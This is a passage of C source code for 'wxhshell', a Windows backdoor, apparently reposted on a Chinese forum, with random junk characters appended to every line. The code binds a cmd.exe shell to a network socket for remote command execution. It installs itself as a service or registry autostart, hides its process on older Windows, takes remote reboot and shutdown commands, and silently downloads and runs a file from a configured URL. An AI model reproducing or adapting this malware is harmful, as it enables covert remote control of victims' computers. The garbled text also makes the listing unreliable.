  // 帮助 ZQBo|8*  
  case '?': { uaDU+y wL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6l_8Q w*5I  
    break; l3g6y 9;  
  } 30H:x@='9  
  // 安装 %\b5)p  
  case 'i': { 6AQ;P  
    if(Install()) #-lk=>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [/#n+sz.A  
    else %7|qnh6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3b&W=1J  
    break; c7rYG]  
    } D 0n2r  
  // 卸载 &tRnI$D  
  case 'r': { 3F.O0Vz  
    if(Uninstall()) Gj)Qw 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d'3'{C|kk  
    else Ne9 .wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p`d:g BZ  
    break; ]hf4= gm  
    } rz7yAm  
  // 显示 wxhshell 所在路径 ]`4 QJ ;#  
  case 'p': { Osy5|Ts  
    char svExeFile[MAX_PATH]; *<0g/AL  
    strcpy(svExeFile,"\n\r"); |d`?wm-  
      strcat(svExeFile,ExeFile); $!vi:+ED  
        send(wsh,svExeFile,strlen(svExeFile),0); Og*1pvN<  
    break; #&8 Opo(  
    } 41uS r 1  
  // 重启 HdnSs0 /  
  case 'b': { wUV%NZB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LB{a&I LG  
    if(Boot(REBOOT)) 8 Zj>|u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 73<iK]*c  
    else { qJ!oH&/cD  
    closesocket(wsh); e5XikL u  
    ExitThread(0); [&`>&u@MK  
    } =:0(&NCRq  
    break; 11-uJVO~*  
    } ^y6CV4T+  
  // 关机 h`GV[Oo:  
  case 'd': { O0{v`|w9+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RCX4;,DHx  
    if(Boot(SHUTDOWN)) B+B v(p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z\7bp&&  
    else { rFK *  
    closesocket(wsh); C4cg,>P7  
    ExitThread(0); PQ(%5c1e  
    } *|3z($*U]  
    break; 6?iP z?5  
    } - 'VT  
  // 获取shell :|A db\b  
  case 's': { Qp?+_<{  
    CmdShell(wsh); uA,{C%?  
    closesocket(wsh); 6FmgK"t8  
    ExitThread(0); c]&VUWQ  
    break; W2B=%`sC  
  } *Xnq1_K}  
  // 退出 ?-Z:N`YP  
  case 'x': { KWH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Arv8P P^'  
    CloseIt(wsh); !'MD8  
    break; X5yhS  
    } [*<&]^  
  // 离开 VA%i_P,  
  case 'q': { Y'~&%|9+T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c,fedH;  
    closesocket(wsh); [aC9vEso!  
    WSACleanup(); atAA[~  
    exit(1); +~v(*s C  
    break; %jf gncW  
        } dEp=;b s  
  } hzH5K  
  } !{XO#e  
iTvCkb48m  
  // 提示信息 n 3]y$wK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ol@ZH_  
} U Oo(7  
  } &Os Ritj  
1GdgF?4  
  return; ,'6GG+  
} q'r3a+  
0Q9OQqg m  
// shell模块句柄 Uwk|M?94  
int CmdShell(SOCKET sock) LN^8U  
{ 0A9cu,ZdUR  
STARTUPINFO si; b#U%aPH  
ZeroMemory(&si,sizeof(si)); /km3L7L%R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *X-$* ~J0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;CZcY] ol  
PROCESS_INFORMATION ProcessInfo; Oe!&Jma*>  
char cmdline[]="cmd"; h:NXO'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !;a<E:  
  return 0; i5"q1dRQ  
} 19t*THgq  
c%!wKoD  
// 自身启动模式 |{K:.x#^  
int StartFromService(void) 8gxLL59  
{ 9 JtG&^*  
typedef struct OXB-.<  
{ !/zj7z !  
  DWORD ExitStatus; jFv<]D%A[  
  DWORD PebBaseAddress; Uy:.m  
  DWORD AffinityMask; ?0a 0 R  
  DWORD BasePriority; hdL2`5RFF  
  ULONG UniqueProcessId; VLN3x.BY  
  ULONG InheritedFromUniqueProcessId; g-}sVvM  
}   PROCESS_BASIC_INFORMATION; hzb|:  
B$Z!E%a;  
PROCNTQSIP NtQueryInformationProcess; -*2X YTe  
H%N+V r3O,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ||HIp9(3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (I.`bR  
>>D i  
  HANDLE             hProcess; -EaZ<d[|0  
  PROCESS_BASIC_INFORMATION pbi; Hv\*F51p=  
Y c kbc6F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <k6xScy$}  
  if(NULL == hInst ) return 0; ]IV; >94[  
MvmP["%J4_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~B@o?8D]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R2`g?5v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (^9M9+L[i  
A~V\r<N j  
  if (!NtQueryInformationProcess) return 0; '[^2uQc  
Q ^rW^d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }C1wfZ~F~  
  if(!hProcess) return 0; K;y\ &'E  
?g4|EV-56  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >JOvg*a?"  
uyj*v]AE'  
  CloseHandle(hProcess); !X8R  
u'1=W5$rK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a6E"  
if(hProcess==NULL) return 0; qS|VUy4  
QO/7p]$_  
HMODULE hMod; \[EWxu  
char procName[255]; {Xd5e@:Js  
unsigned long cbNeeded; $"{3i8$3mT  
>}*jsqaVU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z:5ROlk0  
X~3P?O]kFv  
  CloseHandle(hProcess); "n, ZP@M;  
}8: -I Nj4  
if(strstr(procName,"services")) return 1; // 以服务启动 :,,y63-f4  
pe})A  
  return 0; // 注册表启动 Q{hOn]"  
} n0pe7/Ai  
VAE?={-  
// 主模块 x^2/jUc#B  
int StartWxhshell(LPSTR lpCmdLine) `h!&->  
{ rC `s;w  
  SOCKET wsl; oJT@'{;*z  
BOOL val=TRUE; s.)w A`&&  
  int port=0; oZ:F3 GQ4Q  
  struct sockaddr_in door; _ n4ma  
F@bCm+z-  
  if(wscfg.ws_autoins) Install(); E}/|Lja  
b'5pQ2Mq  
port=atoi(lpCmdLine); {VG[m@  
6CRPdLTDf  
if(port<=0) port=wscfg.ws_port; UO<claV  
R7c)C8/~  
  WSADATA data; *AR<DXE L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "]Dzc[Vp  
l:yAgm`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g GT,PP(k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bnu0*Zg>  
  door.sin_family = AF_INET; gGml c:/J%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !bQ &n  
  door.sin_port = htons(port); Bjj^!T/#  
P.Z<b:V!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q]UYG(  
closesocket(wsl); (kyo?3  
return 1; kGV`Q  
} an[~%vxw}  
J4c4Os>3  
  if(listen(wsl,2) == INVALID_SOCKET) { Y'0?<_ fj  
closesocket(wsl); Ytwv=;h-  
return 1; fZ:rz;tM  
} p!QneeA`&X  
  Wxhshell(wsl);  m+{: ^  
  WSACleanup(); U2lC !j%K  
@M^Qh Hs  
return 0; PVc|y.  
YPDsE&,J)  
} W<]Oo]  
T8TsKjqOZ  
// 以NT服务方式启动 :gaeb8`t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Umfq:W`y_  
{ DB'KIw  
DWORD   status = 0; x0$:"68PW  
  DWORD   specificError = 0xfffffff; 6ilC#yyp  
SSbK[aR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T4Gw\Z%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4qXRDsbCf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '=G Ce%A  
  serviceStatus.dwWin32ExitCode     = 0; cYy @  
  serviceStatus.dwServiceSpecificExitCode = 0; A<CXdt+t  
  serviceStatus.dwCheckPoint       = 0; ff./DMDafI  
  serviceStatus.dwWaitHint       = 0; cBR8HkP~  
(DP9& b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MGyB8(  
  if (hServiceStatusHandle==0) return; KXA)i5z  
aC Lg~g4  
status = GetLastError(); y{I[}$k  
  if (status!=NO_ERROR) 8 E+C:"  
{ [P c[{(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $SGA60q  
    serviceStatus.dwCheckPoint       = 0; [d~bZS|(T(  
    serviceStatus.dwWaitHint       = 0; (Cd{#j<  
    serviceStatus.dwWin32ExitCode     = status; z "$d5XR  
    serviceStatus.dwServiceSpecificExitCode = specificError; }d\Tk(W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f3>6:(  
    return; v:Z4z6M-  
  } g74z]Uj.B  
}%FuL5Tx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4|41^B5Y  
  serviceStatus.dwCheckPoint       = 0; 1 u_2 4  
  serviceStatus.dwWaitHint       = 0; ~ 9~\f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xP6?es`  
} JrWBcp:Y  
jo3}]KC !  
// 处理NT服务事件,比如:启动、停止 B"Kce"!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P ^<0d'(  
{ zM r!WoW  
switch(fdwControl) /j69NEl  
{ hd ;S>K/C  
case SERVICE_CONTROL_STOP: P(gVF |J?  
  serviceStatus.dwWin32ExitCode = 0; :htq%gPex9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O:=|b]t  
  serviceStatus.dwCheckPoint   = 0; J1Ki2I=  
  serviceStatus.dwWaitHint     = 0; S O:V|Tfj  
  { eQax ZMU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LSu^#B  
  } >"<k8wn  
  return; 46P6Bwobh  
case SERVICE_CONTROL_PAUSE: 69j~?w)^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &<|-> *v  
  break; FJ(B]n[>  
case SERVICE_CONTROL_CONTINUE: oSA*~N:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b801O F  
  break; $K_YC~  
case SERVICE_CONTROL_INTERROGATE: 2 ssj(Qo  
  break; fxoi<!|iGY  
}; Ag4Ga?&8ec  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -6~y$c&c  
} 1.95 ^8  
eBC%2TF  
// 标准应用程序主函数 ZecvjbnVY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9+8!xwR:  
{ vuo'"^ =p0  
)x8;.@U  
// 获取操作系统版本 Ds%&Mi  
OsIsNt=GetOsVer(); sId(PT^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uQu/(5  
>g>`!Sf  
  // 从命令行安装 =GKS;d#/  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^2C /!Y<  
k8 ;uC~L  
  // 下载执行文件 ;64mf`  
if(wscfg.ws_downexe) { 4]aiT8))  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 oj{e9h  
  WinExec(wscfg.ws_filenam,SW_HIDE); }\u%)uZ  
} 'LbeL1ca  
9sU+IT K4  
if(!OsIsNt) { pgd8`$(Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 RE>ks[  
HideProc(); %t~SOkx  
StartWxhshell(lpCmdLine); b WbXh$  
} E<<p_hX8R  
else U7B/t3,=U  
  if(StartFromService()) QSF"8Uk  
  // 以服务方式启动 { 8f+h  
  StartServiceCtrlDispatcher(DispatchTable); S'!q}|7X 3  
else =%3b@}%HqS  
  // 普通方式启动 `e $n$Bh  
  StartWxhshell(lpCmdLine); ~3bZ+*H>  
h^A3 0f_x  
return 0; pFJQ7Jlx  
}
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只看该作者 1 发表于: 2006-10-10
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